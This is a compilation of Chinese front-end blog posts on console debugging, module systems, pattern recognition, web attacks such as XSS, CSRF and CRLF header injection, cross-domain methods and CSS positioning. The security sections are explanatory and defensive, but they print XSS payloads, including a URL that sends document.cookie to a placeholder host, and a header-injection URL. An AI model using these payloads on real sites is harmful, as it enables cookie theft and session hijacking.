<!DOCTYPE html> <html> <head> <title>常用console命令</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <div id="info"> <h3>我的博客:http://www.cnblogs.com/chaoran/</h3> </div> <script type="text/javascript"> var info = document.getElementById('info'); console.dirxml(info); </script> </body> </html>
四、判断变量是否是真
console.assert()用来判断一个表达式或变量是否为真。如果结果为否,则在控制台输出一条相应信息,并且抛出一个异常。
console.assert对输入的表达式进行断言,只有表达式为false时,才输出相应的信息到控制台。
<script type="text/javascript"> var result = 1; console.assert( result ); var year = 2014; console.assert(year == 2018 ); </script>
1是非0值,是真;而第二个判断是假,在控制台显示错误信息
五、追踪函数的调用轨迹
console.trace()用来追踪函数的调用轨迹。
<script type="text/javascript"> /*函数是如何被调用的,在其中加入console.trace()方法就可以了*/ function add(a,b){ console.trace(); return a+b; } var x = add3(1,1); function add3(a,b){return add2(a,b);} function add2(a,b){return add1(a,b);} function add1(a,b){return add(a,b);} </script>
控制台输出信息:
六、计时功能
console.time()和console.timeEnd(),用来显示代码的运行时间。
<script type="text/javascript"> console.time("控制台计时器一"); for(var i=0;i<1000;i++){ for(var j=0;j<1000;j++){} } console.timeEnd("控制台计时器一"); </script>
七、console.profile()的性能分析
性能分析(Profiler)就是分析程序各个部分的运行时间,找出瓶颈所在,使用的方法是console.profile()。
<script type="text/javascript"> function All(){ alert(11); for(var i=0;i<10;i++){ funcA(1000); } funcB(10000); } function funcA(count){ for(var i=0;i<count;i++){} } function funcB(count){ for(var i=0;i<count;i++){} console.profile('性能分析器'); All(); console.profileEnd(); } </script>
参考:
AMD && CMD
目录
前言
JavaScript初衷:实现简单的页面交互逻辑,寥寥数语即可;
随着web2.0时代的到来,Ajax技术得到广泛应用,jQuery等前端库层出不穷,前端代码日益膨胀
问题:
这时候JavaScript作为嵌入式的脚本语言的定位动摇了,JavaScript却没有为组织代码提供任何明显帮助,甚至没有类的概念,JavaScript极其简单的代码组织规范不足以驾驭如此庞大规模的代码
一、模块
模块化:是一种处理复杂系统分解为代码结构更合理,可维护性更高的可管理的模块的方式。
在理想状态下我们只需要完成自己部分的核心业务逻辑代码,其他方面的依赖可以通过直接加载被人已经写好模块进行使用即可。
二、CommonJS
CommonJs是服务器端模块的规范,Node.js采用了这个规范。
根据CommonJS规范,一个单独的文件就是一个模块。加载模块使用require方法,该方法读取一个文件并执行,最后返回文件内部的exports对象。
var math = require('math'); math.add(2, 3);
第二行math.add(2, 3),在第一行require('math')之后运行,因此必须等math.js加载完成。也就是说,如果加载时间很长,整个应用就会停在那里等。您会注意到 require
是同步的。
CommonJS 加载模块是同步的,所以只有加载完成才能执行后面的操作。像Node.js主要用于服务器的编程,加载的模块文件一般都已经存在本地硬盘,所以加载起来比较快,不用考虑异步加载的方式,所以CommonJS规范比较适用。但如果是浏览器环境,要从服务器加载模块,这是就必须采用异步模式。所以就有了 AMD CMD 解决方案。
三、AMD
AMD 即Asynchronous Module Definition,中文名是异步模块定义的意思。它是一个在浏览器端模块化开发的规范
AMD也采用require()语句加载模块,但是不同于CommonJS,它要求两个参数:
require([module], callback);
第一个参数[module],是一个数组,里面的成员就是要加载的模块;第二个参数callback,则是加载成功之后的回调函数。如果将前面的代码改写成AMD形式,就是下面这样:
require(['math'], function (math) { math.add(2, 3); });
math.add()与math模块加载不是同步的,浏览器不会发生假死。所以很显然,AMD比较适合浏览器环境。目前,主要有两个Javascript库实现了AMD规范:require.js和curl.js。
与 RequireJS
AMD 是 RequireJS 在推广过程中对模块定义的规范化产出
AMD异步加载模块。它的模块支持对象 函数 构造器 字符串 JSON等各种类型的模块。
//通过数组引入依赖 ,回调函数通过形参传入依赖 define(['Module1', ‘Module2’], function (Module1, Module2) { function foo () { /// someing Module1.test(); } return {foo: foo} });
- 第一个参数 id 为字符串类型,表示了模块标识,为可选参数。若不存在则模块标识应该默认定义为在加载器中被请求脚本的标识。如果存在,那么模块标识必须为顶层的或者一个绝对的标识。
- 第二个参数,dependencies ,是一个当前模块依赖的,已被模块定义的模块标识的数组字面量。
- 第三个参数,factory,是一个需要进行实例化的函数或者一个对象。
AMD规范允许输出模块兼容CommonJS规范,这时define方法如下:
define(function (require, exports, module) { var reqModule = require("./someModule"); requModule.test(); exports.asplode = function () { //someing } });
四、CMD
CMD是SeaJS 在推广过程中对模块定义的规范化产出
CMD和AMD的区别有以下几点:
1.对于依赖的模块AMD是提前执行,CMD是延迟执行。不过RequireJS从2.0开始,也改成可以延迟执行(根据写法不同,处理方式不通过)。
2.AMD推崇依赖前置(在定义模块的时候就要声明其依赖的模块),CMD推崇依赖就近(只有在用到某个模块的时候再去require)。
//AMD define(['./a','./b'], function (a, b) { //依赖一开始就写好 a.test(); b.test(); }); //CMD define(function (requie, exports, module) { //依赖可以就近书写 var a = require('./a'); a.test(); ... //软依赖 if (status) { var b = requie('./b'); b.test(); } });
3.AMD的api默认是一个当多个用,CMD严格的区分推崇职责单一。例如:AMD里require分全局的和局部的。CMD里面没有全局的 require,提供 seajs.use()来实现模块系统的加载启动。CMD里每个API都简单纯粹。
AMD 是 RequireJS 在推广过程中对模块定义的规范化产出,CMD是SeaJS 在推广过程中被广泛认知。RequireJs出自dojo加载器的作者James Burke,SeaJs出自国内前端大师玉伯。二者的区别,玉伯在12年如是说:
RequireJS 和 SeaJS 都是很不错的模块加载器,两者区别如下:
1. 两者定位有差异。RequireJS 想成为浏览器端的模块加载器,同时也想成为 Rhino / Node 等环境的模块加载器。SeaJS 则专注于 Web 浏览器端,同时通过 Node 扩展的方式可以很方便跑在 Node 服务器端 2. 两者遵循的标准有差异。RequireJS 遵循的是 AMD(异步模块定义)规范,SeaJS 遵循的是 CMD (通用模块定义)规范。规范的不同,导致了两者API 的不同。SeaJS 更简洁优雅,更贴近 CommonJS Modules/1.1 和 Node Modules 规范。 3. 两者社区理念有差异。RequireJS 在尝试让第三方类库修改自身来支持 RequireJS,目前只有少数社区采纳。SeaJS 不强推,而采用自主封装的方式来“海纳百川”,目前已有较成熟的封装策略。 4. 两者代码质量有差异。RequireJS 是没有明显的 bug,SeaJS 是明显没有 bug。 5. 两者对调试等的支持有差异。SeaJS 通过插件,可以实现 Fiddler 中自动映射的功能,还可以实现自动 combo 等功能,非常方便便捷。RequireJS无这方面的支持。 6. 两者的插件机制有差异。RequireJS 采取的是在源码中预留接口的形式,源码中留有为插件而写的代码。SeaJS 采取的插件机制则与 Node 的方式一致开放自身,让插件开发者可直接访问或修改,从而非常灵活,可以实现各种类型的插件。
参考:
模式识别课程笔记(一)
一、模式识别(pattern recognition)
人类在识别和分辨事物时,往往是在先验知识和以往对此类事物的多个具体实例观察基础上产生的整体性质和特征的认识。
其实,每一种外界事物都可以看作是一种模式,人们对外界事物的识别,很大部分是把事物进行分类来完成的。
中文中:模式==类
简单来说就是一种规律,识别主是对事物对象进行分门别类,模式识别可以看作对模式的区分和认识,是事物样本到类别的映射;
英文中:pattern则表示两层意思
一层代表事物的模板或原形,第二层则是表征事物特点的特征或性状组合。
在模式识别学科中,模式可以看做是对象的组成成分或影响因素间存在的规律性关系,或者是因素间存在的确定性或随机性规律的对象、过程或事件的集合。
因此,也有人把模式成为模式类,模式识别也被称作为模式分类(Pattern Classification)。
专业术语:
- 样本(sample),一个个体对象,注意与统计学中的不同,类似于统计学中的实例(instance);
- 样本集(sample set):若干样本的集合,统计学中的样本就是指样本集;
- 类或类别(class):具有相同模式的样本集,该样本集是全体样本的子集;
习惯性地,我们用w1,w2等来表示类别,两类问题中也会用{0,1}或{-1,1}; - 特征(feature):也称为属性,通常指样本的某些可以用数值去量化的特征,如果有多个特征,则可以组合成特征向量(feature vector)。样本的特征构成了样本特征空间,空间的维数就是特征的个数,每一个样本就是特征空间中的一个点。
- 已知样本(known sample):已经事先知道类别的样本;
- 未知样本(unknown sample):类别标签未知但特征已知的样本;
二、模式识别类型
1.监督模式识别
特点:要划分的类别是已知的,并且能够获得一定数量的类别已知的训练样本。
这种情况下的机器学习的过程称为监督学习(有导师学习)。
2.非监督模式识别
特点:事先并不知道要划分的类别有哪些,甚至可能连要划分类别的数目也不知道,并且没有任何已知样本可以用来训练。
这种情况下要根据提取到的样本特征将样本聚成几个类,属于同一类的样本从某个角度上看具有一定的相似性,而不同类之间的样本差异则较大。这种机器学习的过程称为非监督学习(无导师学习),也成为聚类。
需要注意的是,在很多非监督模式识别中,聚类的结果不是唯一的,因为“相似”是从某个角度看上去的相似,这里的角度就是前面提到的特征。根据样本特征向量中的不同特征去聚类,会得到不同的结果。
举个例子:假设提取到的4个样本y1,y2,y3,y4的特征向量分别为
x1=(red,rounded,hollow)
x2=(red,rectangular,hollow)
x3=(blue,rounded,solid)
x4=(blue,rectangular,hollow)
若按特征向量的第一个特征(颜色)去聚类时,y1,y2聚为一类,y3,y4聚为一类;若按第二个特征(形状)去聚类时,y1,y3聚为一类,y2,y4聚为一类;若按第三个特征(空心/实心)去聚类时,y1,y2,y4聚为一类,y3自成一类。
这很好的解释了聚类结果的非唯一性,这也是非监督模式识别与监督模式识别的一个重要差别。
监督学习 | 非监督学习 |
有导师 | 无导师 |
要划分的类别已知 | 事先不知要划分类别 |
训练中可知模型决策结果 | 不知是否有错 |
神经网络、决策树 | k-均值聚类法 |
3. 加强学习
不提供设计种类,基于导师提供试验反馈(如决策是否正确)
三、模式识别系统
一个模式识别系统的典型构成包括:预处理,特征选择与提取,分类或聚类,后处理四个主要部分。
例子:
假设有两种鱼:鲈鱼、鲑鱼
问题:在传送带上分类
步骤:
感知(sensing)
格式化能被机器感知的对象
可能导致的问题:
光线条件,鱼的位置,相机噪音等等
预处理(preprocessing)
改善数据
特征提取(feature extraction)
什么样的特征可以区分不同种类
分类(classification)
支持向量机、决策树等
模式识别系统
- 数据获取&感知
测量物理变量
基于样本质量,只有典型样本有用,时间和成本是限制条件 - 预处理
移除噪音、隔离背景 - 特征提取
- 模式学习/估计
学习特征与模式类别的映射关系 - 分类
- 输出处理
四、评价标准
训练精度
过拟合问题
测试精度
参考链接:
http://blog.csdn.net/SCUT_Arucee/article/details/45250643
https://zhuanlan.zhihu.com/p/22668576
web攻击
目录
一、XSS(跨站脚本攻击)
最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时,特定的脚本就会以浏览者用户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息,以及造成其它类型的攻击,例如CSRF攻击
常见解决办法:确保输出到HTML页面的数据以HTML的方式被转义
详见博文:web安全之XSS
二、CSRF(跨站请求伪造攻击 Cross-site request forgery)
通过各种方法伪造一个请求,模仿用户提交表单的行为,从而达到修改用户的数据,或者执行特定任务的目的。为了假冒用户的身份,CSRF攻击常常和XSS攻击配合起来做,但也可以通过其它手段,例如诱使用户点击一个包含攻击的链接
目前国内有大量路由器存在 CSRF 漏洞,其中相当部分用户使用默认的管理账号。通过外链图片,即可发起对路由器 DNS 配置的修改,这将成为国内互联网最大的安全隐患。
案例:
百度旅游在富文本过滤时,未考虑标签的 style 属性,导致允许用户自定义的 CSS。因此可以插入站外资源:
所有浏览该页面的用户,都能发起任意 URL 的请求:
由于站外服务器完全不受控制,攻击者可以控制返回内容:
如果检测到是管理员,或者外链检查服务器,可以返回正常图片;
如果是普通用户,可以返回 302 重定向到其他 URL,发起 CSRF 攻击。例如修改路由器 DNS
防范措施:
1. 杜绝用户的一切外链资源。需要站外图片,可以抓回后保存在站内服务器里。
2. 对于富文本内容,使用白名单策略,只允许特定的 CSS 属性。
3. 尽可能开启 Content Security Policy 配置,让浏览器底层来实现站外资源的拦截。
4. 采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难,攻击者往往需要借助javascript才能实现
5. 对请求进行认证,确保该请求确实是用户本人填写表单并提交的,而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人
三、Http Heads攻击
HTTP协议在Response header和content之间,有一个空行,即两组CRLF(0x0D 0A)字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到headers中,这种攻击就可以发生
案例:
url:http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
当登录成功以后,需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.
假如把URL修改一下,变成这个样子:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向(Location header)上,也有可能发生在其它headers中,如Set-Cookie header。这种攻击如果成功的话,可以做很多事,例如:执行脚本、设置额外的cookie(<CRLF>Set-Cookie: evil=value)等。
避免这种攻击的方法,就是过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF。
四、Cookie攻击
通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站,然后在浏览器地址栏中输入:javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie(如果有的话)。攻击者可以利用这个特性来取得你的关键信息。例如,和XSS攻击相配合,攻击者在你的浏览器上执行特定的Java Script脚本,取得你的cookie。假设这个网站仅依赖cookie来验证用户身份,那么攻击者就可以假冒你的身份来做一些事情。
现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记,就会大大增强cookie的安全性
五、重定向攻击
一种常用的攻击手段是“钓鱼”。钓鱼攻击者,通常会发送给受害者一个合法链接,当链接被点击时,用户被导向一个似是而非的非法网站,从而达到骗取用户信任、窃取用户资料的目的。
为防止这种行为,我们必须对所有的重定向操作进行审核,以避免重定向到一个危险的地方.
案例:
攻击者发一个吸引用户的帖子。当用户进来时,引诱他们点击超链接。
通常故意放少部分的图片,或者是不会动的动画,先让用户预览一下。要是用户想看完整的,就得点下面的超链接:
由于扩展名是 gif 等图片格式,大多用户就毫无顾虑的点了。
事实上,真正的类型是由服务器返回的 MIME 决定的。所以这个站外资源完全有可能是一个网页:
当用户停留在新页面里看动画时,隐匿其中的脚本已悄悄跳转原页面了。
用户切回原页面时,其实已在一个钓鱼网站上:
在此之上,加些浮层登录框等特效,很有可能钓到用户的一些账号信息。
对页面中的用户发布的超链接,监听其点击事件,阻止默认的弹窗行为,而是用 window.open 代替,并将返回窗体的 opener 设置为 null,即可避免第三方页面篡改了。
钓鱼网站常见解决方案是白名单,将合法的要重定向的url加到白名单中,非白名单上的域名重定向时拒之;
第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.
六、上传文件攻击
1.文件名攻击
上传的文件采用上传之前的文件名,可能造成:客户端和服务端字符码不兼容,导致文件名乱码问题;文件名包含脚本,从而造成攻击.
2.文件后缀攻击
上传的文件的后缀可能是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.因此我们必须过滤文件名后缀,排除那些不被许可的文件名后缀.
3.文件内容攻击
IE6有一个很严重的问题 , 它不信任服务器所发送的content type,而是自动根据文件内容来识别文件的类型,并根据所识别的类型来显示或执行文件.如果上传一个gif文件,在文件末尾放一段js攻击脚本,就有可能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击无法用文件名过滤来排除,而是必须扫描其文件内容,才能识别。
感谢原博主们的技术分享~
参考链接:
http://www.myexception.cn/web/474892.html
http://fex.baidu.com/blog/2014/06/web-sec-2014/?qq-pf-to=pcqq.c2c
目录
HTML 5
CSS
$(#form :input)与$(#form input)的区别
JavaScript相关
document.body.scrollTop与document.documentElement.scrollTop兼容
;function($,undefined) 前面的分号是什么用处
参数传递的四种形式----- URL,超链接,js,form表单
ECMAScript 笔记
react
vue
前端总结(安全、性能、小tips)
前端工具篇
协议&&跨域
数学
模式识别
闲情小记
web安全之XSS
Web安全之 XSS
XSS: (Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。
指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。
一、产生原因
假如有下面一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代码将会被执行
或者用户输入的是 "onfocus="alert(document.cookie) 那么就会变成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被触发的时候嵌入的JavaScript代码将会被执行
攻击的威力,取决于用户输入了什么样的脚本
HTML Encode
XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。
二、攻击场景
- Reflected XSS(基于反射的XSS攻击)
- Stored XSS(基于存储的XSS攻击)
- DOM-based or local XSS(基于DOM或本地的XSS攻击)
1. Reflected XSS
主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
假如在某搜索网站搜索内容,填入“<script>alert('handsome boy')</script>”, 点击搜索。
当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:
http://www...../search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
开发安全措施:
1) 前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。
2) 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
2. Stored XSS
通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
例子:
1. 发一篇文章,里面包含了恶意脚本
今天天气不错啊!<script>alert('handsome boy')</script>
2. 后端没有对文章进行过滤,直接保存文章内容到数据库。
3. 当其他看这篇文章的时候,包含的恶意脚本就会执行。
PS:因为大部分文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。
结论:
后端尽可能对提交数据做过滤,在场景需求而不过滤的情况下,前端就需要做些处理了。
开发安全措施:
1) 首要是服务端要进行过滤,因为前端的校验可以被绕过。
2) 当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。
3. Dom-Based XSS
基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
例子1:
1) 提供一个免费的wifi。
2) 开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。
3) 之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。
4) 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。
5) 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。
这个其实就是wifi流量劫持,中间人可以看到用户的每一个请求,可以在页面嵌入恶意代码,使用恶意代码获取用户的信息,可以返回钓鱼页面。
结论:
这攻击其实跟网站本身没有什么关系,只是数据被中间人获取了而已,而由于HTTP是明文传输的,所以是极可能被窃取的。
开发安全措施:
1. 使用HTTPS!HTTPS会在请求数据之前进行一次握手,使得客户端与服务端都有一个私钥,服务端用这个私钥加密,客户端用这个私钥解密,这样即使数据被人截取了,也是加密后的数据。
漏洞恢复
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
- 对数据进行Html Encode 处理
- 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
- 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
参考链接
http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
http://www.cnblogs.com/lovesong/p/5199623.html
https://www.cnblogs.com/index-html/p/wifi_hijack_3.html
JSONP && CORS
前天面试被问到了跨域的问题,自我感觉回答的并不理想,下面我就分享一下整理后的总结分享给大家
一、为什么要跨域
安全限制
JavaScript或Cookie只能访问同域下的内容——同源策略
同源策略
下表相对于: http://h5.jd.com/dir/ajax.js
注意
- 协议和端口造成的跨域问题,非前端解决范畴
- 所谓域,是通过“url首部”来识别,而非判断域与ip的对应关系
(“URL的首部”指window.location.protocol +window.location.host)
二、跨域方案
1. jsonp
原理
HTML里面所有带src属性的标签都可以跨域,如iframe,img,script等。
所以可以把需要跨域的请求改成用script脚本加载即可,服务器返回执行字符串,但是这个字符串是在window全局作用域下执行的,你需要把他返回到你的代码的作用域内,这里就需要临时创建一个全局的回调函数,并把到传到后台,最后再整合实际要请求的数组,返回给前端,让浏览器直接调用,用回调的形式回到你的原代码流程中。
- 首先,利用 script 标签的 src 属性实现跨域
- 通过将前端方法作为参数传递到服务器端,然后由服务器注入参数之后再返回,实现服务器端向客户端通信
- 由于使用script 标签的src 属性,因此只支持 get 方法
一个简单的jsonp实现,其实就是拼接url,然后将动态添加一个script元素到头部
1. 设定一个script标签 <script src="http://jsonp.js?callback=xxx"></script> 2. 服务器 $callback = !empty($_GET['callback'] ? $_GET['callback'] : 'callback'); echo $callback.'(.json_encode($data).)';
详见博客 JSON 和 JSONP两兄弟
2. cors
JSONP | CORS | |
目的 | 跨域 | 跨域 |
支持 |
get (受IE下url长度不能超过2083个字节的限制和出于安全考虑,一般不用来提交数据) |
所有类型的http请求 |
支持度 | 包括老式浏览器 | 不支持部分浏览器,移动端支持很好 |
缺点 |
1)安全问题(请求代码中可能存在安全隐患) 2)确定jsonp请求是否失败不太容易 3)只支持跨域HTTP请求这种情况,不能解决不同域的两个页面之间如何进行JavaScript调用的问题 |
支持率 |
原理 |
被包含在一个回调函数中的JSON 核心则是动态添加<script>标签来调用服务器提供的js脚本 (允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了) |
使用自定义的HTTP头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败 (只需由服务器发送一个响应标头即可) |
CORS需要浏览器和服务器同时支持
实现CORS通信的关键是服务器,只要服务器实现了CORS接口,就可以跨域通信
1)两种请求方式
简单请求、非简单请求
a)简单请求:
跨域时,浏览器自动在头部信息中添加一个origin 字段(指定请求源-协议+域名+端口),如下图所示
服务器判断origin在域名许可范围内,返回响应:
若不存在 Access-Control-Allow-Origin 字段,则出错
以上头部信息中,CORS相关字段有
- Access-Control-Allow-Origin
必须字段,其值为 origin / *(可接受任意域名请求) - Access-Control-Allow-Credentials
可选,是否允许发送Cookie - Access-Control-Expose-Headers
可选,是否需要Cache-Control
、Content-Language
、Content-Type
、Expires
、Last-Modified
、Pragma之外的字段
withCredentials 属性
CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials
字段
Access-Control-Allow-Credentials: true
另一方面,开发者必须在AJAX请求中打开withCredentials
属性。
var xhr = new XMLHttpRequest(); xhr.withCredentials = true;
注意
如果要发送Cookie,Access-Control-Allow-Origin
就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie
也无法读取服务器域名下的Cookie。
b)非简单请求(不同时满足以上条件)
请求方法是PUT
或DELETE
,或者Content-Type
字段的类型是application/json
浏览器对于非简单请求,就自动发出一个"预检"请求,要求服务器确认可以这样请求。下面是这个"预检"请求的HTTP头信息
除了Origin
字段,"预检"请求的头信息包括两个特殊字段。
- Access-Control-Request-Method
该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是PUT
。
- Access-Control-Request-Headers
该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是X-Custom-Header
。
2.CORS 支持度
3. document.domain
两个网页一级域名相同,只是二级域名不同,浏览器允许通过设置document.domain
共享 Cookie。
举例来说,A网页是http://w1.example.com/a.html
,B网页是http://w2.example.com/b.html
,那么只要设置相同的document.domain
,两个网页就可以共享Cookie
document.domain = 'example.com';
现在,A网页通过脚本设置一个 Cookie
document.cookie = "test1=hello";
B网页就可以读到这个 Cookie。
var allCookie = document.cookie;
注意,这种方法只适用于 Cookie 和 iframe 窗口,LocalStorage 和 IndexDB 无法通过这种方法,规避同源政策,而要使用下文介绍的PostMessage API。
4. iframe
(只有在主域相同时才能使用)
1)www.a.com/a.html中:
document.domain = 'a.com'; var ifr = document.createElement('iframe'); ifr.src = 'http://www.script.a.com/b.html'; ifr.display = none; document.body.appendChild(ifr); ifr.onload = function(){ var doc = ifr.contentDocument || ifr.contentWindow.document; //在这里操作doc,也就是b.html ifr.onload = null; };
2) 在www.script.a.com/b.html中:
document.domain = 'a.com';
5. window.postMessage:
该方法是 HTML5 新引进的特性,可以使用它来向其它的window对象发送消息,无论这个window对象是属于同源或不同源,目前IE8+、FireFox、Chrome、Opera等浏览器都已经支持window.postMessage方法。
window.postMessage的功能是允许程序员跨域在两个窗口/frames间发送数据信息。基本上,它就像是跨域的AJAX,但不是浏览器跟服务器之间交互,而是在两个客户端之间通信
postMessage
方法的第一个参数是具体的信息内容,第二个参数是接收消息的窗口的源(origin),即"协议 + 域名 + 端口"。也可以设为*
,表示不限制域名,向所有窗口发送。
子窗口向父窗口发送消息的写法类似。
window.opener.postMessage('Nice to see you', 'http://aaa.com');
父窗口和子窗口都可以通过message
事件,监听对方的消息。
window.addEventListener('message', function(e) { console.log(e.data); },false);
message
事件的事件对象event
,提供以下三个属性。
-
event.source
:发送消息的窗口 -
event.origin
: 消息发向的网址 -
event.data
: 消息内容
下面的例子是,子窗口通过event.source
属性引用父窗口,然后发送消息。
window.addEventListener('message', receiveMessage); function receiveMessage(event) { event.source.postMessage('Nice to see you!', '*'); }
event.origin
属性可以过滤不是发给本窗口的消息。
window.addEventListener('message', receiveMessage); function receiveMessage(event) { if (event.origin !== 'http://aaa.com') return; if (event.data === 'Hello World') { event.source.postMessage('Hello', event.origin); } else { console.log(event.data); } }
【a.qq.com页面代码】
【b.qq.com页面代码】
以上demo简单解决了前端跨域通信,跨域带cookie等问题,在逻辑上完全可以实现跨域通信。但是对于不支持PostMessage特性的老版浏览器是行不通的。比如IE8-浏览器就不能很好的支持PostMessage特性
6. 服务端代理
在数据提供方没有提供对JSONP协议或者window.name协议的支持,也没有对其它域开放访问权限时,我们可以通过server proxy的方式来抓取数据。
例如当www.a.com域下的页面需要请求www.b.com下的资源文件asset.txt时,直接发送一个指向 www.b.com/asset.txt的ajax请求肯定是会被浏览器阻止。
这时,我们在www.a.com下配一个代理,然后把ajax请求绑定到这个代理路径下,例如www.a.com/proxy/, 然后这个代理发送HTTP请求访问www.b.com下的asset.txt,跨域的HTTP请求是在服务器端进行的,客户端并没有产生跨域的ajax请求。
这个跨域方式不需要和目标资源签订协议,带有侵略性,另外需要注意的是实践中应该对这个代理实施一定程度的保护,比如限制他人使用或者使用频率。
其他跨域方案
window.name:
在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个window.name的,每个页面对window.name都有读写的权限,window.name是持久存在一个窗口载入过的所有页面中的。
动态创建script
JSONP也就是利用这个原理。
利用iframe和location.hash
淘汰类技术
利用flash
淘汰类技术
参考链接:
http://tech.jandou.com/cross-domain.html
http://www.cnblogs.com/JChen666/p/3399951.html
http://www.ruanyifeng.com/blog/2016/04/cors.html
用HTML5里的window.postMessage在两个网页间传递数据
css 定位
目录
一、relative
1)与兄弟
relative对absolute
1、限制left/top/right/bottom定位
2、限制z-index层级;
3、限制在overflow下
relative对fixed
限制z-index层级;
2)本身特征
定位
1、相对自身
定位移动相对于自身
2、无侵入
relative定位不影响其他元素
margin影响其他元素布局
应用
拖拽效果
同时设置top/bottom left/right
绝对定位:拉伸
相对定位:斗争
top VS bottom top起作用
left VS bottom left起作用
3)层级
提高层级上下文
正常文档流模式下,后面的dom元素覆盖前面的,如果将前面的元素设置了relative将提升它自身的层级
新建层叠上下文与层级控制
z-index: auto : 没有限制内部absolute元素层叠的问题(except IE6,IE7 auto也会限制层级)
4)relative的最小化影响原则
——指尽量降低relative属性对其他元素或布局的潜在影响
1. 尽量避免使用relative
absolute+margin
2. relative最小化
将absolute父级独立为单独的容器,进行relative定位
二、absolute
1)与兄弟float
相同的特征表现
1. 包裹性
父元素对子元素的包裹
2. 破坏性
设置了子元素后,父元素高度塌陷
① absolute的破坏性是对图片的absolute化。图片设置absolute后,图片就从标准文档流中脱离出来,没有东西可以继续支撑容器的高度,容器自然就坍塌了。好像把房子的柱子挪到房子外边,房子果断就塌了
② absolute的包裹性是对容器的absolute化。容器设置absolute后,容器变为了 inline-block,容器本身没有设置宽度和高度的话,那么容器的宽高就等于内容的宽高,表现结果就是容器把内容包裹起来。
2)别把relative拴在一起(独立性的好处)
absolute 越独立,越强大
超越overflow
独立的absolute可以拜托overflow的限制,无论是滚动还是隐藏
clear 用来限制float
relative用来限制absolute
3)无依赖的absolute定位
脱离文档流
折翼的天使
1. 去浮动
2. 位置跟随
原来什么位置,绝对定位后还是什么位置
(ie7 永远的inline-block水平)
配合margin的精确定位
4)绝对定位实现相对效果
位置特别重要——充分利用跟随特性
图标图片相覆盖
img与vip中间使用注释<!-- -->实现完美贴合,避免出现空格
